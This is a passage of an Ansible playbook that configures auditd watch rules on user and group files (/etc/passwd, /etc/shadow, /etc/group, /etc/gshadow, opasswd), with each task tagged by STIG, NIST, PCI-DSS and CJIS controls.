    ansible.builtin.lineinfile:
      line: -w /etc/group -p wa -k audit_rules_usergroup_modification
      state: present
      dest: /etc/audit/audit.rules
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_audit_rules.matched is defined and find_existing_watch_audit_rules.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030170
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_group
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/gshadow - Check
      if watch rule for /etc/gshadow already exists in /etc/audit/rules.d/
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^\s*-w\s+/etc/gshadow\s+-p\s+wa(\s|$)+
      patterns: '*.rules'
    register: find_existing_watch_rules_d
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030160
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_gshadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/gshadow - Search
      /etc/audit/rules.d for other rules with specified key audit_rules_usergroup_modification
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^.*(?:-F key=|-k\s+)audit_rules_usergroup_modification$
      patterns: '*.rules'
    register: find_watch_key
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030160
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_gshadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/gshadow - Use /etc/audit/rules.d/audit_rules_usergroup_modification.rules
      as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - /etc/audit/rules.d/audit_rules_usergroup_modification.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched == 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030160
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_gshadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/gshadow - Use matched
      file as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - '{{ find_watch_key.files | map(attribute=''path'') | list | first }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched &gt; 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030160
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_gshadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/gshadow - Add watch
      rule for /etc/gshadow in /etc/audit/rules.d/
    ansible.builtin.lineinfile:
      path: '{{ all_files[0] }}'
      line: -w /etc/gshadow -p wa -k audit_rules_usergroup_modification
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030160
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_gshadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/gshadow - Check
      if watch rule for /etc/gshadow already exists in /etc/audit/audit.rules
    ansible.builtin.find:
      paths: /etc/audit/
      contains: ^\s*-w\s+/etc/gshadow\s+-p\s+wa(\s|$)+
      patterns: audit.rules
    register: find_existing_watch_audit_rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030160
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_gshadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/gshadow - Add watch
      rule for /etc/gshadow in /etc/audit/audit.rules
    ansible.builtin.lineinfile:
      line: -w /etc/gshadow -p wa -k audit_rules_usergroup_modification
      state: present
      dest: /etc/audit/audit.rules
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_audit_rules.matched is defined and find_existing_watch_audit_rules.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030160
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_gshadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/security/opasswd
      - Check if watch rule for /etc/security/opasswd already exists in /etc/audit/rules.d/
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^\s*-w\s+/etc/security/opasswd\s+-p\s+wa(\s|$)+
      patterns: '*.rules'
    register: find_existing_watch_rules_d
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030140
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_opasswd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/security/opasswd
      - Search /etc/audit/rules.d for other rules with specified key audit_rules_usergroup_modification
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^.*(?:-F key=|-k\s+)audit_rules_usergroup_modification$
      patterns: '*.rules'
    register: find_watch_key
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030140
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_opasswd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/security/opasswd
      - Use /etc/audit/rules.d/audit_rules_usergroup_modification.rules as the recipient
      for the rule
    ansible.builtin.set_fact:
      all_files:
      - /etc/audit/rules.d/audit_rules_usergroup_modification.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched == 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030140
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_opasswd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/security/opasswd
      - Use matched file as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - '{{ find_watch_key.files | map(attribute=''path'') | list | first }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched &gt; 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030140
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_opasswd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/security/opasswd
      - Add watch rule for /etc/security/opasswd in /etc/audit/rules.d/
    ansible.builtin.lineinfile:
      path: '{{ all_files[0] }}'
      line: -w /etc/security/opasswd -p wa -k audit_rules_usergroup_modification
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030140
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_opasswd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/security/opasswd
      - Check if watch rule for /etc/security/opasswd already exists in /etc/audit/audit.rules
    ansible.builtin.find:
      paths: /etc/audit/
      contains: ^\s*-w\s+/etc/security/opasswd\s+-p\s+wa(\s|$)+
      patterns: audit.rules
    register: find_existing_watch_audit_rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030140
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_opasswd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/security/opasswd
      - Add watch rule for /etc/security/opasswd in /etc/audit/audit.rules
    ansible.builtin.lineinfile:
      line: -w /etc/security/opasswd -p wa -k audit_rules_usergroup_modification
      state: present
      dest: /etc/audit/audit.rules
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_audit_rules.matched is defined and find_existing_watch_audit_rules.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030140
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_opasswd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/passwd - Check if
      watch rule for /etc/passwd already exists in /etc/audit/rules.d/
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^\s*-w\s+/etc/passwd\s+-p\s+wa(\s|$)+
      patterns: '*.rules'
    register: find_existing_watch_rules_d
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030150
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_passwd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/passwd - Search
      /etc/audit/rules.d for other rules with specified key audit_rules_usergroup_modification
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^.*(?:-F key=|-k\s+)audit_rules_usergroup_modification$
      patterns: '*.rules'
    register: find_watch_key
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030150
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_passwd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/passwd - Use /etc/audit/rules.d/audit_rules_usergroup_modification.rules
      as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - /etc/audit/rules.d/audit_rules_usergroup_modification.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched == 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030150
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_passwd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/passwd - Use matched
      file as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - '{{ find_watch_key.files | map(attribute=''path'') | list | first }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched &gt; 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030150
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_passwd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/passwd - Add watch
      rule for /etc/passwd in /etc/audit/rules.d/
    ansible.builtin.lineinfile:
      path: '{{ all_files[0] }}'
      line: -w /etc/passwd -p wa -k audit_rules_usergroup_modification
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030150
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_passwd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/passwd - Check if
      watch rule for /etc/passwd already exists in /etc/audit/audit.rules
    ansible.builtin.find:
      paths: /etc/audit/
      contains: ^\s*-w\s+/etc/passwd\s+-p\s+wa(\s|$)+
      patterns: audit.rules
    register: find_existing_watch_audit_rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030150
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_passwd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/passwd - Add watch
      rule for /etc/passwd in /etc/audit/audit.rules
    ansible.builtin.lineinfile:
      line: -w /etc/passwd -p wa -k audit_rules_usergroup_modification
      state: present
      dest: /etc/audit/audit.rules
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_audit_rules.matched is defined and find_existing_watch_audit_rules.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030150
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_passwd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/shadow - Check if
      watch rule for /etc/shadow already exists in /etc/audit/rules.d/
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^\s*-w\s+/etc/shadow\s+-p\s+wa(\s|$)+
      patterns: '*.rules'
    register: find_existing_watch_rules_d
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030130
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_shadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/shadow - Search
      /etc/audit/rules.d for other rules with specified key audit_rules_usergroup_modification
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^.*(?:-F key=|-k\s+)audit_rules_usergroup_modification$
      patterns: '*.rules'
    register: find_watch_key
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030130
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_shadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/shadow - Use /etc/audit/rules.d/audit_rules_usergroup_modification.rules
      as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - /etc/audit/rules.d/audit_rules_usergroup_modification.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched == 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030130
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_shadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/shadow - Use matched
      file as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - '{{ find_watch_key.files | map(attribute=''path'') | list | first }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched &gt; 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030130
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_shadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/shadow - Add watch
      rule for /etc/shadow in /etc/audit/rules.d/
    ansible.builtin.lineinfile:
      path: '{{ all_files[0] }}'
      line: -w /etc/shadow -p wa -k audit_rules_usergroup_modification
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030130
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_shadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/shadow - Check if
      watch rule for /etc/shadow already exists in /etc/audit/audit.rules
    ansible.builtin.find:
      paths: /etc/audit/
      contains: ^\s*-w\s+/etc/shadow\s+-p\s+wa(\s|$)+
      patterns: audit.rules
    register: find_existing_watch_audit_rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030130
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_shadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/shadow - Add watch
      rule for /etc/shadow in /etc/audit/audit.rules
    ansible.builtin.lineinfile:
      line: -w /etc/shadow -p wa -k audit_rules_usergroup_modification
      state: present
      dest: /etc/audit/audit.rules
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_audit_rules.matched is defined and find_existing_watch_audit_rules.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030130
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_shadow
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /var/spool/cron - Check if
      watch rule for /var/spool/cron already exists in /etc/audit/rules.d/
